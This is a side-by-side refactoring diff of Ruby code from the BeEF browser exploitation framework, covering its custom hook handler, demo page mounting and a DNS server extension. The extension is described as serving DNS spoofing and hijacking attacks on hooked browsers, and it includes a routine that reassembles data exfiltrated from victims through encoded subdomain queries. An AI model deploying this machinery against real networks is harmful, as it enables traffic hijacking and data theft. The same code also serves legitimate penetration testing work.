module Customhook
|
module Customhook
|
||||||
|
class Handler
|
||||||
class Handler
|
def call(env)
|
||||||
|
@body = ''
|
||||||
|
@request = Rack::Request.new(env)
|
||||||
|
@params = @request.query_string
|
||||||
|
@response = Rack::Response.new(body = [], 200, header = {})
|
||||||
|
config = BeEF::Core::Configuration.instance
|
||||||
|
eruby = Erubis::FastEruby.new(File.read("#{File.dirname(__FILE__)}/html/index.html"))
|
||||||
|
config.get('beef.extension.customhook.hooks').each do |h|
|
||||||
|
path = config.get("beef.extension.customhook.hooks.#{h.first}.path")
|
||||||
|
next unless path == (env['REQUEST_URI']).to_s
|
||||||
|
|
||||||
def call(env)
|
print_info "[Custom Hook] Handling request for custom hook mounted at '#{path}'"
|
||||||
@body = ''
|
@body << eruby.evaluate({
|
||||||
@request = Rack::Request.new(env)
|
'customhook_target' => config.get("beef.extension.customhook.hooks.#{h.first}.target"),
|
||||||
@params = @request.query_string
|
'customhook_title' => config.get("beef.extension.customhook.hooks.#{h.first}.title")
|
||||||
@response = Rack::Response.new(body=[], 200, header={})
|
})
|
||||||
config = BeEF::Core::Configuration.instance
|
break
|
||||||
eruby = Erubis::FastEruby.new(File.read(File.dirname(__FILE__)+'/html/index.html'))
|
end
|
||||||
config.get("beef.extension.customhook.hooks").each do |h|
|
|
||||||
path = config.get("beef.extension.customhook.hooks.#{h.first}.path")
|
|
||||||
if path == "#{env['REQUEST_URI']}"
|
|
||||||
print_info "[Custom Hook] Handling request for custom hook mounted at '#{path}'"
|
|
||||||
@body << eruby.evaluate({
|
|
||||||
'customhook_target' => config.get("beef.extension.customhook.hooks.#{h.first}.target"),
|
|
||||||
'customhook_title' => config.get("beef.extension.customhook.hooks.#{h.first}.title")
|
|
||||||
})
|
|
||||||
break
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
@response = Rack::Response.new(
|
@response = Rack::Response.new(
|
||||||
body = [@body],
|
body = [@body],
|
||||||
status = 200,
|
status = 200,
|
||||||
header = {
|
header = {
|
||||||
@@ -39,20 +37,15 @@ module Customhook
|
|||||||
'Access-Control-Allow-Origin' => '*',
|
'Access-Control-Allow-Origin' => '*',
|
||||||
'Access-Control-Allow-Methods' => 'POST, GET'
|
'Access-Control-Allow-Methods' => 'POST, GET'
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
end
|
||||||
end
|
|
||||||
|
|
||||||
private
|
# @note Object representing the HTTP request
|
||||||
|
@request
|
||||||
# @note Object representing the HTTP request
|
|
||||||
@request
|
# @note Object representing the HTTP response
|
||||||
|
@response
|
||||||
# @note Object representing the HTTP response
|
end
|
||||||
@response
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -11,15 +11,16 @@ module BeEF
|
|||||||
|
|
||||||
def self.mount_handler(beef_server)
|
def self.mount_handler(beef_server)
|
||||||
# mount everything in html directory to /demos/
|
# mount everything in html directory to /demos/
|
||||||
path = File.dirname(__FILE__) + '/html/'
|
path = "#{File.dirname(__FILE__)}/html/"
|
||||||
files = Dir[path + '**/*']
|
files = Dir["#{path}**/*"]
|
||||||
|
|
||||||
beef_server.mount('/demos', Rack::File.new(path))
|
beef_server.mount('/demos', Rack::File.new(path))
|
||||||
|
|
||||||
files.each do |f|
|
files.each do |f|
|
||||||
# don't follow symlinks
|
# don't follow symlinks
|
||||||
next if File.symlink?(f)
|
next if File.symlink?(f)
|
||||||
mount_path = '/demos/' + f.sub(path, '')
|
|
||||||
|
mount_path = "/demos/#{f.sub(path, '')}"
|
||||||
if File.extname(f) == '.html'
|
if File.extname(f) == '.html'
|
||||||
# use handler to mount HTML templates
|
# use handler to mount HTML templates
|
||||||
beef_server.mount(mount_path, BeEF::Extension::Demos::Handler.new(f))
|
beef_server.mount(mount_path, BeEF::Extension::Demos::Handler.new(f))
|
||||||
|
|||||||
@@ -38,8 +38,6 @@ module BeEF
|
|||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
# @note String representing the absolute path to the .html file
|
# @note String representing the absolute path to the .html file
|
||||||
@file_path
|
@file_path
|
||||||
|
|
||||||
|
|||||||
@@ -7,9 +7,7 @@ module BeEF
|
|||||||
module Extension
|
module Extension
|
||||||
module Dns
|
module Dns
|
||||||
module API
|
module API
|
||||||
|
|
||||||
module NameserverHandler
|
module NameserverHandler
|
||||||
|
|
||||||
BeEF::API::Registrar.instance.register(
|
BeEF::API::Registrar.instance.register(
|
||||||
BeEF::Extension::Dns::API::NameserverHandler,
|
BeEF::Extension::Dns::API::NameserverHandler,
|
||||||
BeEF::API::Server,
|
BeEF::API::Server,
|
||||||
@@ -25,11 +23,15 @@ module BeEF
|
|||||||
# Starts the DNS nameserver at BeEF startup.
|
# Starts the DNS nameserver at BeEF startup.
|
||||||
#
|
#
|
||||||
# @param http_hook_server [BeEF::Core::Server] HTTP server instance
|
# @param http_hook_server [BeEF::Core::Server] HTTP server instance
|
||||||
def self.pre_http_start(http_hook_server)
|
def self.pre_http_start(_http_hook_server)
|
||||||
dns_config = BeEF::Core::Configuration.instance.get('beef.extension.dns')
|
dns_config = BeEF::Core::Configuration.instance.get('beef.extension.dns')
|
||||||
dns = BeEF::Extension::Dns::Server.instance
|
dns = BeEF::Extension::Dns::Server.instance
|
||||||
|
|
||||||
protocol = dns_config['protocol'].to_sym rescue :udp
|
protocol = begin
|
||||||
|
dns_config['protocol'].to_sym
|
||||||
|
rescue StandardError
|
||||||
|
:udp
|
||||||
|
end
|
||||||
address = dns_config['address'] || '127.0.0.1'
|
address = dns_config['address'] || '127.0.0.1'
|
||||||
port = dns_config['port'] || 5300
|
port = dns_config['port'] || 5300
|
||||||
interfaces = [[protocol, address, port]]
|
interfaces = [[protocol, address, port]]
|
||||||
@@ -44,12 +46,13 @@ module BeEF
|
|||||||
up_port = server[2]
|
up_port = server[2]
|
||||||
|
|
||||||
next if [up_protocol, up_address, up_port].include?(nil)
|
next if [up_protocol, up_address, up_port].include?(nil)
|
||||||
|
|
||||||
servers << [up_protocol.to_sym, up_address, up_port] if up_protocol =~ /^(tcp|udp)$/
|
servers << [up_protocol.to_sym, up_address, up_port] if up_protocol =~ /^(tcp|udp)$/
|
||||||
upstream_servers << "Upstream Server: #{up_address}:#{up_port} (#{up_protocol})\n"
|
upstream_servers << "Upstream Server: #{up_address}:#{up_port} (#{up_protocol})\n"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
dns.run(:upstream => servers, :listen => interfaces)
|
dns.run(upstream: servers, listen: interfaces)
|
||||||
|
|
||||||
print_info "DNS Server: #{address}:#{port} (#{protocol})"
|
print_info "DNS Server: #{address}:#{port} (#{protocol})"
|
||||||
print_more upstream_servers unless upstream_servers.empty?
|
print_more upstream_servers unless upstream_servers.empty?
|
||||||
@@ -61,9 +64,7 @@ module BeEF
|
|||||||
def self.mount_handler(beef_server)
|
def self.mount_handler(beef_server)
|
||||||
beef_server.mount('/api/dns', BeEF::Extension::Dns::DnsRest.new)
|
beef_server.mount('/api/dns', BeEF::Extension::Dns::DnsRest.new)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -6,20 +6,18 @@
|
|||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Dns
|
module Dns
|
||||||
|
|
||||||
# Provides the core DNS nameserver functionality. The nameserver handles incoming requests
|
# Provides the core DNS nameserver functionality. The nameserver handles incoming requests
|
||||||
# using a rule-based system. A list of user-defined rules is used to match against incoming
|
# using a rule-based system. A list of user-defined rules is used to match against incoming
|
||||||
# DNS requests. These rules generate a response that is either a resource record or a
|
# DNS requests. These rules generate a response that is either a resource record or a
|
||||||
# failure code.
|
# failure code.
|
||||||
class Server < Async::DNS::Server
|
class Server < Async::DNS::Server
|
||||||
|
|
||||||
include Singleton
|
include Singleton
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super()
|
super()
|
||||||
@lock = Mutex.new
|
@lock = Mutex.new
|
||||||
@database = BeEF::Core::Models::Dns::Rule
|
@database = BeEF::Core::Models::Dns::Rule
|
||||||
@data_chunks = Hash.new
|
@data_chunks = {}
|
||||||
end
|
end
|
||||||
|
|
||||||
# Adds a new DNS rule. If the rule already exists, its current ID is returned.
|
# Adds a new DNS rule. If the rule already exists, its current ID is returned.
|
||||||
@@ -49,9 +47,9 @@ module BeEF
|
|||||||
$VERBOSE = verbose
|
$VERBOSE = verbose
|
||||||
|
|
||||||
@database.find_or_create_by(
|
@database.find_or_create_by(
|
||||||
:resource => rule[:resource].to_s,
|
resource: rule[:resource].to_s,
|
||||||
:pattern => pattern.source,
|
pattern: pattern.source,
|
||||||
:response => rule[:response]
|
response: rule[:response]
|
||||||
).id
|
).id
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
@@ -63,12 +61,10 @@ module BeEF
|
|||||||
# @return [Hash] hash representation of rule (empty hash if rule wasn't found)
|
# @return [Hash] hash representation of rule (empty hash if rule wasn't found)
|
||||||
def get_rule(id)
|
def get_rule(id)
|
||||||
@lock.synchronize do
|
@lock.synchronize do
|
||||||
begin
|
rule = @database.find(id)
|
||||||
rule = @database.find(id)
|
return to_hash(rule)
|
||||||
return to_hash(rule)
|
rescue ActiveRecord::RecordNotFound
|
||||||
rescue ActiveRecord::RecordNotFound
|
return nil
|
||||||
return nil
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -81,9 +77,7 @@ module BeEF
|
|||||||
@lock.synchronize do
|
@lock.synchronize do
|
||||||
begin
|
begin
|
||||||
rule = @database.find(id)
|
rule = @database.find(id)
|
||||||
if not rule.nil? and rule.destroy
|
return true if !rule.nil? && rule.destroy
|
||||||
return true
|
|
||||||
end
|
|
||||||
rescue ActiveRecord::RecordNotFound
|
rescue ActiveRecord::RecordNotFound
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
@@ -109,10 +103,8 @@ module BeEF
|
|||||||
#
|
#
|
||||||
# @return [Boolean] true if ruleset was destroyed, otherwise false
|
# @return [Boolean] true if ruleset was destroyed, otherwise false
|
||||||
def remove_ruleset!
|
def remove_ruleset!
|
||||||
@lock.synchronize do
|
@lock.synchronize do
|
||||||
if @database.destroy_all
|
return true if @database.destroy_all
|
||||||
return true
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -134,24 +126,22 @@ module BeEF
|
|||||||
|
|
||||||
if upstream
|
if upstream
|
||||||
resolver = Async::DNS::Resolver.new(upstream)
|
resolver = Async::DNS::Resolver.new(upstream)
|
||||||
@otherwise = Proc.new { |t| t.passthrough!(resolver) }
|
@otherwise = proc { |t| t.passthrough!(resolver) }
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
# super(:listen => listen)
|
# super(:listen => listen)
|
||||||
Thread.new { super() }
|
Thread.new { super() }
|
||||||
rescue RuntimeError => e
|
rescue RuntimeError => e
|
||||||
if e.message =~ /no datagram socket/ || e.message =~ /no acceptor/ # the port is in use
|
if e.message =~ /no datagram socket/ || e.message =~ /no acceptor/ # the port is in use
|
||||||
print_error "[DNS] Another process is already listening on port #{options[:listen]}"
|
print_error "[DNS] Another process is already listening on port #{options[:listen]}"
|
||||||
print_error "Exiting..."
|
print_error 'Exiting...'
|
||||||
exit 127
|
exit 127
|
||||||
else
|
else
|
||||||
raise
|
raise
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
@@ -164,42 +154,41 @@ module BeEF
|
|||||||
# @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer
|
# @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer
|
||||||
def process(name, resource, transaction)
|
def process(name, resource, transaction)
|
||||||
@lock.synchronize do
|
@lock.synchronize do
|
||||||
|
|
||||||
resource = resource.to_s
|
resource = resource.to_s
|
||||||
|
|
||||||
print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})"
|
print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})"
|
||||||
|
|
||||||
# no need to parse AAAA resources when data is extruded from client. Also we check if the FQDN starts with the 0xb3 string.
|
# no need to parse AAAA resources when data is extruded from client. Also we check if the FQDN starts with the 0xb3 string.
|
||||||
# this 0xb3 is convenient to clearly separate DNS requests used to extrude data from normal DNS requests than should be resolved by the DNS server.
|
# this 0xb3 is convenient to clearly separate DNS requests used to extrude data from normal DNS requests than should be resolved by the DNS server.
|
||||||
if format_resource(resource) == 'A' and name.match(/^0xb3/)
|
if format_resource(resource) == 'A' && name.match(/^0xb3/)
|
||||||
reconstruct(name.split('0xb3').last)
|
reconstruct(name.split('0xb3').last)
|
||||||
catch (:done) do
|
catch(:done) do
|
||||||
transaction.fail!(:NXDomain)
|
transaction.fail!(:NXDomain)
|
||||||
end
|
end
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
catch (:done) do
|
catch(:done) do
|
||||||
# Find rules matching the requested resource class
|
# Find rules matching the requested resource class
|
||||||
resources = @database.where(:resource => resource)
|
resources = @database.where(resource: resource)
|
||||||
throw :done if resources.length == 0
|
throw :done if resources.length == 0
|
||||||
|
|
||||||
# Narrow down search by finding a matching pattern
|
# Narrow down search by finding a matching pattern
|
||||||
resources.each do |rule|
|
resources.each do |rule|
|
||||||
pattern = Regexp.new(rule.pattern)
|
pattern = Regexp.new(rule.pattern)
|
||||||
|
|
||||||
if name =~ pattern
|
next unless name =~ pattern
|
||||||
print_debug "Found matching DNS rule (id: #{rule.id} response: #{rule.response})"
|
|
||||||
Proc.new { |t| eval(rule.callback) }.call(transaction)
|
print_debug "Found matching DNS rule (id: #{rule.id} response: #{rule.response})"
|
||||||
throw :done
|
proc { |_t| eval(rule.callback) }.call(transaction)
|
||||||
end
|
throw :done
|
||||||
end
|
end
|
||||||
|
|
||||||
if @otherwise
|
if @otherwise
|
||||||
print_debug "No match found, querying upstream servers"
|
print_debug 'No match found, querying upstream servers'
|
||||||
@otherwise.call(transaction)
|
@otherwise.call(transaction)
|
||||||
else
|
else
|
||||||
print_debug "No match found, sending NXDOMAIN response"
|
print_debug 'No match found, sending NXDOMAIN response'
|
||||||
transaction.fail!(:NXDomain)
|
transaction.fail!(:NXDomain)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
@@ -207,43 +196,44 @@ module BeEF
|
|||||||
end
|
end
|
||||||
|
|
||||||
private
|
private
|
||||||
|
|
||||||
# Collects and reconstructs data extruded by the client and found in subdomain, with structure like:
|
# Collects and reconstructs data extruded by the client and found in subdomain, with structure like:
|
||||||
#0.1.5.4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e7.browserhacker.com
|
# 0.1.5.4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e7.browserhacker.com
|
||||||
#[...]
|
# [...]
|
||||||
#0.5.5.7565207175616d206469676e697373696d2065752e.browserhacker.com
|
# 0.5.5.7565207175616d206469676e697373696d2065752e.browserhacker.com
|
||||||
def reconstruct(data)
|
def reconstruct(data)
|
||||||
split_data = data.split('.')
|
split_data = data.split('.')
|
||||||
pack_id = split_data[0]
|
pack_id = split_data[0]
|
||||||
seq_num = split_data[1]
|
seq_num = split_data[1]
|
||||||
seq_tot = split_data[2]
|
seq_tot = split_data[2]
|
||||||
data_chunk = split_data[3] # this might change if we store more than 63 bytes in a chunk (63 is the limitation from RFC)
|
data_chunk = split_data[3] # this might change if we store more than 63 bytes in a chunk (63 is the limitation from RFC)
|
||||||
|
|
||||||
if pack_id.match(/^(\d)+$/) and seq_num.match(/^(\d)+$/) and seq_tot.match(/^(\d)+$/)
|
unless pack_id.match(/^(\d)+$/) && seq_num.match(/^(\d)+$/) && seq_tot.match(/^(\d)+$/)
|
||||||
print_debug "[DNS] Received chunk (#{seq_num} / #{seq_tot}) of packet (#{pack_id}): #{data_chunk}"
|
print_debug "[DNS] Received invalid chunk:\n #{data}"
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
if @data_chunks[pack_id] == nil
|
print_debug "[DNS] Received chunk (#{seq_num} / #{seq_tot}) of packet (#{pack_id}): #{data_chunk}"
|
||||||
# no previous chunks received, create new Array to store chunks
|
|
||||||
@data_chunks[pack_id] = Array.new(seq_tot.to_i)
|
|
||||||
@data_chunks[pack_id][seq_num.to_i - 1] = data_chunk
|
|
||||||
else
|
|
||||||
# previous chunks received, update Array
|
|
||||||
@data_chunks[pack_id][seq_num.to_i - 1] = data_chunk
|
|
||||||
if @data_chunks[pack_id].all? and @data_chunks[pack_id] != 'DONE'
|
|
||||||
# means that no position in the array is false/nil, so we received all the packet chunks
|
|
||||||
packet_data = @data_chunks[pack_id].join('')
|
|
||||||
decoded_packet_data = packet_data.scan(/../).map{ |n| n.to_i(16)}.pack('U*')
|
|
||||||
print_debug "[DNS] Packet data fully received: #{packet_data}. \n Converted from HEX: #{decoded_packet_data}"
|
|
||||||
|
|
||||||
# we might get more DNS requests for the same chunks sometimes, once every chunk of a packet is received, mark it
|
if @data_chunks[pack_id].nil?
|
||||||
@data_chunks[pack_id] = 'DONE'
|
# no previous chunks received, create new Array to store chunks
|
||||||
end
|
@data_chunks[pack_id] = Array.new(seq_tot.to_i)
|
||||||
end
|
@data_chunks[pack_id][seq_num.to_i - 1] = data_chunk
|
||||||
else
|
else
|
||||||
print_debug "[DNS] Data (#{data}) is not a valid chunk."
|
# previous chunks received, update Array
|
||||||
end
|
@data_chunks[pack_id][seq_num.to_i - 1] = data_chunk
|
||||||
|
if @data_chunks[pack_id].all? && @data_chunks[pack_id] != 'DONE'
|
||||||
|
# means that no position in the array is false/nil, so we received all the packet chunks
|
||||||
|
packet_data = @data_chunks[pack_id].join('')
|
||||||
|
decoded_packet_data = packet_data.scan(/../).map { |n| n.to_i(16) }.pack('U*')
|
||||||
|
print_debug "[DNS] Packet data fully received: #{packet_data}. \n Converted from HEX: #{decoded_packet_data}"
|
||||||
|
|
||||||
|
# we might get more DNS requests for the same chunks sometimes, once every chunk of a packet is received, mark it
|
||||||
|
@data_chunks[pack_id] = 'DONE'
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
private
|
|
||||||
# Helper method that converts a DNS rule to a hash.
|
# Helper method that converts a DNS rule to a hash.
|
||||||
#
|
#
|
||||||
# @param rule [BeEF::Core::Models::Dns::Rule] rule to be converted
|
# @param rule [BeEF::Core::Models::Dns::Rule] rule to be converted
|
||||||
@@ -279,9 +269,7 @@ module BeEF
|
|||||||
def format_resource(resource)
|
def format_resource(resource)
|
||||||
/::(\w+)$/.match(resource)[1]
|
/::(\w+)$/.match(resource)[1]
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -5,18 +5,15 @@
|
|||||||
#
|
#
|
||||||
require 'async/dns'
|
require 'async/dns'
|
||||||
|
|
||||||
|
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Dns
|
module Dns
|
||||||
|
|
||||||
extend BeEF::API::Extension
|
extend BeEF::API::Extension
|
||||||
|
|
||||||
@short_name = 'dns'
|
@short_name = 'dns'
|
||||||
@full_name = 'DNS Server'
|
@full_name = 'DNS Server'
|
||||||
@description = 'A configurable DNS nameserver for performing DNS spoofing, ' +
|
@description = 'A configurable DNS nameserver for performing DNS spoofing, ' +
|
||||||
'hijacking, and other related attacks against hooked browsers.'
|
'hijacking, and other related attacks against hooked browsers.'
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -6,10 +6,8 @@
|
|||||||
|
|
||||||
# Disables the logger used by RubyDNS due to its excessive verbosity.
|
# Disables the logger used by RubyDNS due to its excessive verbosity.
|
||||||
class Logger
|
class Logger
|
||||||
|
|
||||||
def debug(msg = ''); end
|
def debug(msg = ''); end
|
||||||
def info(msg = ''); end
|
def info(msg = ''); end
|
||||||
def error(msg = ''); end
|
def error(msg = ''); end
|
||||||
def warn(msg = ''); end
|
def warn(msg = ''); end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -7,35 +7,30 @@ module BeEF
|
|||||||
module Core
|
module Core
|
||||||
module Models
|
module Models
|
||||||
module Dns
|
module Dns
|
||||||
|
|
||||||
# Represents an individual DNS rule.
|
# Represents an individual DNS rule.
|
||||||
class Rule < BeEF::Core::Model
|
class Rule < BeEF::Core::Model
|
||||||
|
|
||||||
# Hooks the model's "save" event. Validates pattern/response and generates a rule identifier.
|
# Hooks the model's "save" event. Validates pattern/response and generates a rule identifier.
|
||||||
before_save :check_rule
|
before_save :check_rule
|
||||||
self.table_name = 'dns_rules'
|
self.table_name = 'dns_rules'
|
||||||
serialize :response, Array
|
serialize :response, Array
|
||||||
|
|
||||||
private
|
private
|
||||||
|
|
||||||
def check_rule
|
def check_rule
|
||||||
begin
|
validate_pattern(pattern)
|
||||||
validate_pattern(self.pattern)
|
self.callback = format_callback(resource.constantize, response)
|
||||||
self.callback = format_callback(self.resource.constantize, self.response)
|
rescue InvalidDnsPatternError, UnknownDnsResourceError, InvalidDnsResponseError => e
|
||||||
rescue InvalidDnsPatternError, UnknownDnsResourceError, InvalidDnsResponseError => e
|
print_error e.message
|
||||||
print_error e.message
|
throw :halt
|
||||||
throw :halt
|
|
||||||
end
|
|
||||||
|
|
||||||
#self.id = BeEF::Core::Crypto.dns_rule_id
|
|
||||||
|
|
||||||
|
# self.id = BeEF::Core::Crypto.dns_rule_id
|
||||||
end
|
end
|
||||||
|
|
||||||
# Verifies that the given pattern is valid (i.e. non-empty, no null's or printable characters).
|
# Verifies that the given pattern is valid (i.e. non-empty, no null's or printable characters).
|
||||||
def validate_pattern(pattern)
|
def validate_pattern(pattern)
|
||||||
raise InvalidDnsPatternError unless BeEF::Filters.is_non_empty_string?(pattern) &&
|
raise InvalidDnsPatternError unless BeEF::Filters.is_non_empty_string?(pattern) &&
|
||||||
!BeEF::Filters.has_null?(pattern) &&
|
!BeEF::Filters.has_null?(pattern) &&
|
||||||
!BeEF::Filters.has_non_printable_char?(pattern)
|
!BeEF::Filters.has_non_printable_char?(pattern)
|
||||||
end
|
end
|
||||||
|
|
||||||
# Strict validator which ensures that only an appropriate response is given.
|
# Strict validator which ensures that only an appropriate response is given.
|
||||||
@@ -47,18 +42,19 @@ module BeEF
|
|||||||
def format_callback(resource, response)
|
def format_callback(resource, response)
|
||||||
sym_regex = /^:?(NoError|FormErr|ServFail|NXDomain|NotImp|Refused|NotAuth)$/i
|
sym_regex = /^:?(NoError|FormErr|ServFail|NXDomain|NotImp|Refused|NotAuth)$/i
|
||||||
|
|
||||||
src = if resource == Resolv::DNS::Resource::IN::A
|
if resource == Resolv::DNS::Resource::IN::A
|
||||||
if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv4)
|
if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv4)
|
||||||
sprintf "t.respond!('%s')", response
|
format "t.respond!('%s')", response
|
||||||
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
||||||
sprintf "t.fail!(:%s)", response.to_sym
|
format 't.fail!(:%s)', response.to_sym
|
||||||
elsif response.is_a?(Array)
|
elsif response.is_a?(Array)
|
||||||
str1 = "t.respond!('%s');"
|
str1 = "t.respond!('%s');"
|
||||||
str2 = ''
|
str2 = ''
|
||||||
|
|
||||||
response.each do |r|
|
response.each do |r|
|
||||||
raise InvalidDnsResponseError, 'A' unless BeEF::Filters.is_valid_ip?(r, :ipv4)
|
raise InvalidDnsResponseError, 'A' unless BeEF::Filters.is_valid_ip?(r, :ipv4)
|
||||||
str2 << sprintf(str1, r)
|
|
||||||
|
str2 << format(str1, r)
|
||||||
end
|
end
|
||||||
|
|
||||||
str2
|
str2
|
||||||
@@ -67,16 +63,17 @@ module BeEF
|
|||||||
end
|
end
|
||||||
elsif resource == Resolv::DNS::Resource::IN::AAAA
|
elsif resource == Resolv::DNS::Resource::IN::AAAA
|
||||||
if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv6)
|
if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv6)
|
||||||
sprintf "t.respond!('%s')", response
|
format "t.respond!('%s')", response
|
||||||
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
||||||
sprintf "t.fail!(:%s)", response.to_sym
|
format 't.fail!(:%s)', response.to_sym
|
||||||
elsif response.is_a?(Array)
|
elsif response.is_a?(Array)
|
||||||
str1 = "t.respond!('%s');"
|
str1 = "t.respond!('%s');"
|
||||||
str2 = ''
|
str2 = ''
|
||||||
|
|
||||||
response.each do |r|
|
response.each do |r|
|
||||||
raise InvalidDnsResponseError, 'AAAA' unless BeEF::Filters.is_valid_ip?(r, :ipv6)
|
raise InvalidDnsResponseError, 'AAAA' unless BeEF::Filters.is_valid_ip?(r, :ipv6)
|
||||||
str2 << sprintf(str1, r)
|
|
||||||
|
str2 << format(str1, r)
|
||||||
end
|
end
|
||||||
|
|
||||||
str2
|
str2
|
||||||
@@ -85,35 +82,36 @@ module BeEF
|
|||||||
end
|
end
|
||||||
elsif resource == Resolv::DNS::Resource::IN::CNAME
|
elsif resource == Resolv::DNS::Resource::IN::CNAME
|
||||||
if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)
|
if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)
|
||||||
sprintf "t.respond!(Resolv::DNS::Name.create('%s'))", response
|
format "t.respond!(Resolv::DNS::Name.create('%s'))", response
|
||||||
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
||||||
sprintf "t.fail!(:%s)", response.to_sym
|
format 't.fail!(:%s)', response.to_sym
|
||||||
else
|
else
|
||||||
raise InvalidDnsResponseError, 'CNAME'
|
raise InvalidDnsResponseError, 'CNAME'
|
||||||
end
|
end
|
||||||
elsif resource == Resolv::DNS::Resource::IN::MX
|
elsif resource == Resolv::DNS::Resource::IN::MX
|
||||||
if response[0].is_a?(Integer) &&
|
if response[0].is_a?(Integer) &&
|
||||||
BeEF::Filters.is_valid_domain?(response[1])
|
BeEF::Filters.is_valid_domain?(response[1])
|
||||||
|
|
||||||
data = { :preference => response[0], :exchange => response[1] }
|
data = { preference: response[0], exchange: response[1] }
|
||||||
sprintf "t.respond!(%<preference>d, Resolv::DNS::Name.create('%<exchange>s'))", data
|
format "t.respond!(%<preference>d, Resolv::DNS::Name.create('%<exchange>s'))", data
|
||||||
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
||||||
sprintf "t.fail!(:%s)", response.to_sym
|
format 't.fail!(:%s)', response.to_sym
|
||||||
else
|
else
|
||||||
raise InvalidDnsResponseError, 'MX'
|
raise InvalidDnsResponseError, 'MX'
|
||||||
end
|
end
|
||||||
elsif resource == Resolv::DNS::Resource::IN::NS
|
elsif resource == Resolv::DNS::Resource::IN::NS
|
||||||
if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)
|
if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)
|
||||||
sprintf "t.respond!(Resolv::DNS::Name.create('%s'))", response
|
format "t.respond!(Resolv::DNS::Name.create('%s'))", response
|
||||||
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
||||||
sprintf "t.fail!(:%s)", response.to_sym
|
format 't.fail!(:%s)', response.to_sym
|
||||||
elsif response.is_a?(Array)
|
elsif response.is_a?(Array)
|
||||||
str1 = "t.respond!(Resolv::DNS::Name.create('%s'))"
|
str1 = "t.respond!(Resolv::DNS::Name.create('%s'))"
|
||||||
str2 = ''
|
str2 = ''
|
||||||
|
|
||||||
response.each do |r|
|
response.each do |r|
|
||||||
raise InvalidDnsResponseError, 'NS' unless BeEF::Filters.is_valid_domain?(r)
|
raise InvalidDnsResponseError, 'NS' unless BeEF::Filters.is_valid_domain?(r)
|
||||||
str2 << sprintf(str1, r)
|
|
||||||
|
str2 << format(str1, r)
|
||||||
end
|
end
|
||||||
|
|
||||||
str2
|
str2
|
||||||
@@ -122,110 +120,100 @@ module BeEF
|
|||||||
end
|
end
|
||||||
elsif resource == Resolv::DNS::Resource::IN::PTR
|
elsif resource == Resolv::DNS::Resource::IN::PTR
|
||||||
if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)
|
if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)
|
||||||
sprintf "t.respond!(Resolv::DNS::Name.create('%s'))", response
|
format "t.respond!(Resolv::DNS::Name.create('%s'))", response
|
||||||
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
||||||
sprintf "t.fail!(:%s)", response.to_sym
|
format 't.fail!(:%s)', response.to_sym
|
||||||
else
|
else
|
||||||
